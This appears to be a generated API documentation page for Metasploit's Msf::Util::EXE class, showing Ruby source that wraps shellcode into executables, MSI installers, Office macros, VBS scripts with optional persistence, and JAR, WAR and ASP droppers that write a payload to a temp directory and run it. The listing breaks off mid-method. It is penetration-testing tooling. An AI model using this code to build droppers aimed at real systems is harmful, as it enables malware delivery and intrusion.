Class: Msf::Util::EXE

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/exe.rb

Overview

The class provides methods for creating and encoding executable file formats for various platforms. It is a replacement for the previous code in Rex::Text

Class Method Summary collapse

Class Method Details

.encode_stub(framework, arch, code, platform = nil, badchars = '') ⇒ Object


1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
# File 'lib/msf/util/exe.rb', line 1191

def self.encode_stub(framework, arch, code, platform = nil, badchars='')
  return code if not framework.encoders
  framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      enc = framework.encoders.create(name)
      raw = enc.encode(code, badchars, nil, platform)
      return raw if raw
    rescue
    end
  end
  nil
end

.exe_sub_method(code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
# File 'lib/msf/util/exe.rb', line 386

def self.exe_sub_method(code,opts ={})

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  case opts[:exe_type]
    when :service_exe
      max_length = 8192
      name = opts[:servicename]

      if name
        bo = pe.index('SERVICENAME')
        raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
        pe[bo, 11] = [name].pack('a11')
      end

      if not opts[:sub_method]
        pe[136, 4] = [rand(0x100000000)].pack('V')
      end
    when :dll
      max_length = 2048
    when :exe_sub
      max_length = 4096
  end

  bo = pe.index('PAYLOAD:')
  raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo

  if (code.length <= max_length)
    pe[bo, code.length] = [code].pack("a*")
  else
    raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
  end

  if opts[:exe_type] == :dll
    mt = pe.index('MUTEX!!!')
    pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

    if opts[:dll_exitprocess]
      exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
      exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
      et_index =  pe.index(exit_thread)
      if et_index
        pe[et_index,exit_process.length] = exit_process
      else
        raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
      end
    end
  end

  return pe
end

.generate_nops(framework, arch, len, opts = {}) ⇒ Object


1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
# File 'lib/msf/util/exe.rb', line 1204

def self.generate_nops(framework, arch, len, opts={})
  opts['BadChars'] ||= ''
  opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

  return nil if not framework.nops
  framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      nop = framework.nops.create(name)
      raw = nop.generate_sled(len, opts)
      return raw if raw
    rescue
    end
  end
  nil
end

.is_eicar_corrupted?Boolean

Returns:

  • (Boolean)

1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
# File 'lib/msf/util/exe.rb', line 1847

def self.is_eicar_corrupted?
  path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
  return true if not ::File.exists?(path)

  begin
    data = ::File.read(path)
    if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
      return true
    end

  rescue ::Exception
    return true
  end

  false
end

.read_replace_script_template(filename, hash_sub) ⇒ Object


60
61
62
63
64
65
66
67
68
69
# File 'lib/msf/util/exe.rb', line 60

def self.read_replace_script_template(filename, hash_sub)
  template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename)

  template = ''
  File.open(template_pathname, "rb") do |f|
    template = f.read
  end

  return template % hash_sub
end

.replace_msi_buffer(pe, opts) ⇒ Object


516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
# File 'lib/msf/util/exe.rb', line 516

def self.replace_msi_buffer(pe, opts)
  opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")

  if opts[:msi_template].include?(File::SEPARATOR)
    template = opts[:msi_template]
  else
    template = File.join(opts[:msi_template_path], opts[:msi_template])
  end

  msi = ''
  File.open(template, "rb") { |fd|
    msi = fd.read(fd.stat.size)
  }

  section_size =	2**(msi[30..31].unpack('s')[0])
  sector_allocation_table = msi[section_size..section_size*2].unpack('l*')

  buffer_chain = []
  current_secid = 5	# This is closely coupled with the template provided and ideally
        # would be calculated from the dir stream?

  until current_secid == -2
    buffer_chain << current_secid
    current_secid = sector_allocation_table[current_secid]
  end

  buffer_size = buffer_chain.length * section_size

  if pe.size > buffer_size
    raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
  end

  pe_block_start = 0
  pe_block_end = pe_block_start + section_size - 1

  buffer_chain.each do |section|
    block_start = section_size * (section + 1)
    block_end = block_start + section_size - 1
    pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
    msi[block_start..block_end] = pe_block
    pe_block_start = pe_block_end + 1
    pe_block_end += section_size
  end

  return msi
end

.set_template_default(opts, exe = nil, path = nil) ⇒ Object

Helper functions common to multiple generators


28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# File 'lib/msf/util/exe.rb', line 28

def self.set_template_default(opts, exe = nil, path = nil)
  # If no path specified, use the default one.
  path ||= File.join(Msf::Config.data_directory, "templates")

  # If there's no default name, we must blow it up.
  if not exe
    raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
  end

  # Use defaults only if nothing is specified
  opts[:template_path] ||= path
  opts[:template] ||= exe

  # Only use the path when the filename contains no separators.
  if not opts[:template].include?(File::SEPARATOR)
    opts[:template] = File.join(opts[:template_path], opts[:template])
  end

  # Check if it exists now
  return if File.file?(opts[:template])

  # If it failed, try the default...
  if opts[:fallback]
    default_template = File.join(path, exe)
    if File.file?(default_template)
      # Perhaps we should warn about falling back to the default?
      opts.merge!({ :fellback => default_template })
      opts[:template] = default_template
    end
  end
end

.to_bsd_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in code


770
771
772
773
# File 'lib/msf/util/exe.rb', line 770

def self.to_bsd_x86_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
  return elf
end

.to_dotnetmem(base = 0x12340000, data = "", opts = {}) ⇒ Object

Creates a .NET DLL which loads data into memory at a specified location with read/execute permissions

- the data will be loaded at: base+0x2065
- default max size is 0x8000 (32768)

1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
# File 'lib/msf/util/exe.rb', line 1155

def self.to_dotnetmem(base=0x12340000, data="", opts={})

  # Allow the user to specify their own DLL template
  set_template_default(opts, "dotnetmem.dll")

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  # Configure the image base
  base_offset = opts[:base_offset] || 180
  pe[base_offset, 4] = [base].pack('V')

  # Configure the TimeDateStamp
  timestamp_offset = opts[:timestamp_offset] || 136
  pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

  # XXX: Unfortunately we cant make this RWX only RX
  # Mark this segment as read-execute AND writable
  # pe[412,4] = [0xe0000020].pack("V")

  # Write the data into the .text segment
  text_offset = opts[:text_offset] || 0x1065
  text_max    = opts[:text_max] || 0x8000
  pack        = opts[:pack] || 'a32768'
  pe[text_offset, text_max] = [data].pack(pack)

  # Generic a randomized UUID
  uuid_offset = opts[:uuid_offset] || 37656
  pe[uuid_offset,16] = Rex::Text.rand_text(16)

  return pe
end

.to_exe_asp(exes = '', opts = {}) ⇒ Object


907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
# File 'lib/msf/util/exe.rb', line 907

def self.to_exe_asp(exes = '', opts={})
  hash_sub = {}
  hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])

  return read_replace_script_template("to_exe.asp.template", hash_sub)
end

.to_exe_aspx(exes = '', opts = {}) ⇒ Object


924
925
926
927
928
929
930
931
932
933
934
935
936
937
# File 'lib/msf/util/exe.rb', line 924

def self.to_exe_aspx(exes = '', opts={})
  hash_sub = {}
  hash_sub[:var_file] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]	= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])

  return read_replace_script_template("to_exe.aspx.template", hash_sub)
end

.to_exe_elf(framework, opts, template, code, big_endian = false) ⇒ Object

Create an ELF executable containing the payload provided in code

For the default template, this method just appends the payload, checks if the template is 32 or 64 bit and adjusts the offsets accordingly For user-provided templates, modifies the header to mark all executable segments as writable and overwrites the entrypoint (usually _start) with the payload.


680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
# File 'lib/msf/util/exe.rb', line 680

def self.to_exe_elf(framework, opts, template, code, big_endian=false)

  # Allow the user to specify their own template
  set_template_default(opts, template)

  # The old way to do it is like other formats, just overwrite a big
  # block of rwx mem with our shellcode.
  #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
  #co = elf.index( " " * 512 )
  #elf[bo, 2048] = [code].pack('a2048') if bo

  # The new template is just an ELF header with its entry point set to
  # the end of the file, so just append shellcode to it and fixup
  # p_filesz and p_memsz in the header for a working ELF executable.
  elf = ''
  File.open(opts[:template], "rb") { |fd|
    elf = fd.read(fd.stat.size)
  }

  elf << code

  # Check EI_CLASS to determine if the header is 32 or 64 bit
  # Use the proper offsets and pack size
  case elf[4]
  when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
    if big_endian
      elf[0x44,4] = [elf.length].pack('N') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
    else # little endian
      elf[0x44,4] = [elf.length].pack('V') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
    end
  when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
    if big_endian
      elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
    else # little endian
      elf[0x60,8] = [elf.length].pack('Q') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
    end
  else
    raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
  end

  return elf
end

.to_exe_msi(framework, exe, opts = {}) ⇒ Object

Wraps an executable inside a Windows

.msi file for auto execution when run

507
508
509
510
511
512
513
514
# File 'lib/msf/util/exe.rb', line 507

def self.to_exe_msi(framework, exe, opts={})
  if opts[:uac]
    opts[:msi_template] ||= "template_windows.msi"
  else
    opts[:msi_template] ||= "template_nouac_windows.msi"
  end
  return replace_msi_buffer(exe, opts)
end

.to_exe_vba(exes = '') ⇒ Object


802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
# File 'lib/msf/util/exe.rb', line 802

def self.to_exe_vba(exes='')
  exe = exes.unpack('C*')
  hash_sub = {}
  idx = 0
  maxbytes = 2000
  var_base_idx = 0
  var_base = Rex::Text.rand_text_alpha(5).capitalize

  # First write the macro into the vba file
  hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
  hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)

  # Function 1 extracts the binary
  hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s

  # Function 2 executes the binary
  hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s

  hash_sub[:data] = ""

  # Writing the bytes of the exe to the file
  1.upto(exe.length) do |pc|
    while(c = exe[idx])
      hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
      if (idx > 1 and (idx % maxbytes) == 0)
        # When maxbytes are written make a new paragrpah
        hash_sub[:data] << "\r\n"
      end
      idx += 1
    end
  end

  return read_replace_script_template("to_exe.vba.template", hash_sub)
end

.to_exe_vbs(exes = '', opts = {}) ⇒ Object


875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
# File 'lib/msf/util/exe.rb', line 875

def self.to_exe_vbs(exes = '', opts={})
  delay   = opts[:delay]   || 5
  persist = opts[:persist] || false

  hash_sub = {}
  hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:hex_shellcode] = exes.unpack('H*').join('')

  hash_sub[:init] = ""

  if(persist)
    hash_sub[:init] << "Do\r\n"
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
    hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
    hash_sub[:init] << "Loop\r\n"
  else
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
  end

  return read_replace_script_template("to_exe.vbs.template", hash_sub)
end

.to_executable(framework, arch, plat, code = '', opts = {}) ⇒ Object

Executable generators


78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# File 'lib/msf/util/exe.rb', line 78

def self.to_executable(framework, arch, plat, code='', opts={})
  if (arch.index(ARCH_X86))

    if (plat.index(Msf::Module::Platform::Windows))
      return to_win32pe(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::Linux))
      return to_linux_x86_elf(framework, code)
    end

    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_x86_macho(framework, code)
    end

    if(plat.index(Msf::Module::Platform::BSD))
      return to_bsd_x86_elf(framework, code)
    end

    if(plat.index(Msf::Module::Platform::Solaris))
      return to_solaris_x86_elf(framework, code)
    end

    # XXX: Add remaining x86 systems here
  end

  if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
    if (plat.index(Msf::Module::Platform::Windows))
      return to_win64pe(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::Linux))
      return to_linux_x64_elf(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::OSX))
      return to_osx_x64_macho(framework, code)
    end
  end

  if(arch.index(ARCH_ARMLE))
    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_arm_macho(framework, code)
    end

    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_armle_elf(framework, code)
    end

    # XXX: Add remaining ARMLE systems here
  end

  if(arch.index(ARCH_PPC))
    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_ppc_macho(framework, code)
    end
    # XXX: Add PPC OS X and Linux here
  end

  if(arch.index(ARCH_MIPSLE))
    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_mipsle_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end

  if(arch.index(ARCH_MIPSBE))
    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_mipsbe_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end
  nil
end

.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) ⇒ String?

Generate an executable of a given format suitable for running on the architecture/platform pair.

This routine is shared between msfencode, rpc, and payload modules (use <payload>)

constants

Parameters:

  • framework (Framework)
  • arch (String)

    Architecture for the target format; one of the ARCH_*

  • plat (#index)

    platform

  • code (String)

    The shellcode for the resulting executable to run

  • fmt (String)

    One of the executable formats as defined in to_executable_fmt_formats

  • exeopts (Hash)

    Passed directly to the approrpriate method for generating an executable for the given arch/plat pair.

Returns:

  • (String)

    An executable appropriate for the given architecture/platform pair.

  • (nil)

    If the format is unrecognized or the arch and plat don't make sense together.


1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
# File 'lib/msf/util/exe.rb', line 1675

def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
  # For backwards compatibility with the way this gets called when
  # generating from Msf::Simple::Payload.generate_simple
  if arch.kind_of? Array
    output = nil
    arch.each do |a|
      output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
      break if output
    end
    return output
  end

  case fmt
  when 'asp'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_asp(exe, exeopts)

  when 'aspx'
      output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)

  when 'aspx-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)

  when 'dll'
    output = case arch
      when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe_dll(framework, code, exeopts)
      when ARCH_X64     then to_win64pe_dll(framework, code, exeopts)
      end

  when 'exe'
    output = case arch
      when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe(framework, code, exeopts)
      when ARCH_X64     then to_win64pe(framework, code, exeopts)
      end

  when 'exe-service'
    output = case arch
      when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe_service(framework, code, exeopts)
      when ARCH_X64     then to_win64pe_service(framework, code, exeopts)
    end

  when 'exe-small'
    output = case arch
      when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64 then to_win64pe(framework, code, exeopts)
      end

  when 'exe-only'
    output = case arch
      when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
      when ARCH_X86_64  then to_winpe_only(framework, code, exeopts, arch)
      when ARCH_X64     then to_winpe_only(framework, code, exeopts, arch)
      end

  when 'msi'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)

  when 'msi-nouac'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    exeopts[:uac] = true
    output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)

  when 'elf'
    if (not plat or (plat.index(Msf::Module::Platform::Linux)))
      output = case arch
        when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
        when ARCH_X86_64  then to_linux_x64_elf(framework, code, exeopts)
        when ARCH_X64     then to_linux_x64_elf(framework, code, exeopts)
        when ARCH_ARMLE   then to_linux_armle_elf(framework, code, exeopts)
        when ARCH_MIPSBE  then to_linux_mipsbe_elf(framework, code, exeopts)
        when ARCH_MIPSLE  then to_linux_mipsle_elf(framework, code, exeopts)
        end
    elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
      output = case arch
        when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
        end
    elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
      output = case arch
        when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
        end
    end

  when 'macho', 'osx-app'
    output = case arch
      when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
      when ARCH_X86_64  then to_osx_x64_macho(framework, code, exeopts)
      when ARCH_X64     then to_osx_x64_macho(framework, code, exeopts)
      when ARCH_ARMLE   then to_osx_arm_macho(framework, code, exeopts)
      when ARCH_PPC     then to_osx_ppc_macho(framework, code, exeopts)
      end
    output = Msf::Util::EXE.to_osx_app(output) if fmt == 'osx-app'

  when 'vba'
    output = Msf::Util::EXE.to_vba(framework, code, exeopts)

  when 'vba-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vba(exe)

  when 'vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))

  when 'loop-vbs'
    exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))

  when 'war'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    output = Msf::Util::EXE.to_jsp_war(exe)

  when 'psh'
    output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)

  when 'psh-net'
    output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
    
  when 'psh-reflection'
    output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)

  end

  output
end

.to_executable_fmt_formatsObject


1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
# File 'lib/msf/util/exe.rb', line 1818

def self.to_executable_fmt_formats
  [
    "asp",
    "aspx",
    "aspx-exe",
    "dll",
    "elf",
    "exe",
    "exe-only",
    "exe-service",
    "exe-small",
    "loop-vbs",
    "macho",
    "msi",
    "msi-nouac",
    "osx-app",
    "psh",
    "psh-net",
    "psh-reflection",
    "vba",
    "vba-exe",
    "vbs",
    "war"
  ]
end

.to_jar(exe, opts = {}) ⇒ Rex::Zip::Jar

Creates a jar file that drops the provided exe into a random file name in the system's temp dir and executes it.

Returns:

See Also:


1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
# File 'lib/msf/util/exe.rb', line 1023

def self.to_jar(exe, opts={})
  spawn = opts[:spawn] || 2
  exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
  zip = Rex::Zip::Jar.new
  zip.add_sub("metasploit") if opts[:random]
  paths = [
    [ "metasploit", "Payload.class" ],
  ]
  zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
  zip.build_manifest :main_class => "metasploit.Payload"
  config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
  zip.add_file("metasploit.dat", config)
  zip.add_file(exe_name, exe)

  zip
end

.to_jsp_war(exe, opts = {}) ⇒ String

Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. The jsp page converts the hexdump back to a normal binary file and places it in the temp directory. The payload file is then executed.

Parameters:

  • exe (String)

    Executable to drop and run.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String)

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String)

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>)

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

See Also:


1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
# File 'lib/msf/util/exe.rb', line 1113

def self.to_jsp_war(exe, opts={})

  # begin <payload>.jsp
  hash_sub = {}
  hash_sub[:var_hexpath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_data]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_inputstream]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_numbytes]      = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytearray]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_char1]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_char2]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_comb]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_hexfile]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepatharray]  = Rex::Text.rand_text_alpha(rand(8)+8)

  # Specify the payload in hex as an extra file..
  payload_hex = exe.unpack('H*')[0]
  opts.merge!(
    {
      :extra_files =>
        [
          [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
        ]
    })

  template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)

  return self.to_war(template, opts)
end

.to_linux_armle_elf(framework, code, opts = {}) ⇒ Object


787
788
789
790
# File 'lib/msf/util/exe.rb', line 787

def self.to_linux_armle_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
  return elf
end

.to_linux_mipsbe_elf(framework, code, opts = {}) ⇒ Object


797
798
799
800
# File 'lib/msf/util/exe.rb', line 797

def self.to_linux_mipsbe_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
  return elf
end

.to_linux_mipsle_elf(framework, code, opts = {}) ⇒ Object


792
793
794
795
# File 'lib/msf/util/exe.rb', line 792

def self.to_linux_mipsle_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
  return elf
end

.to_linux_x64_elf(framework, code, opts = {}) ⇒ Object

Create a 64-bit Linux ELF containing the payload provided in code


782
783
784
785
# File 'lib/msf/util/exe.rb', line 782

def self.to_linux_x64_elf(framework, code, opts={})
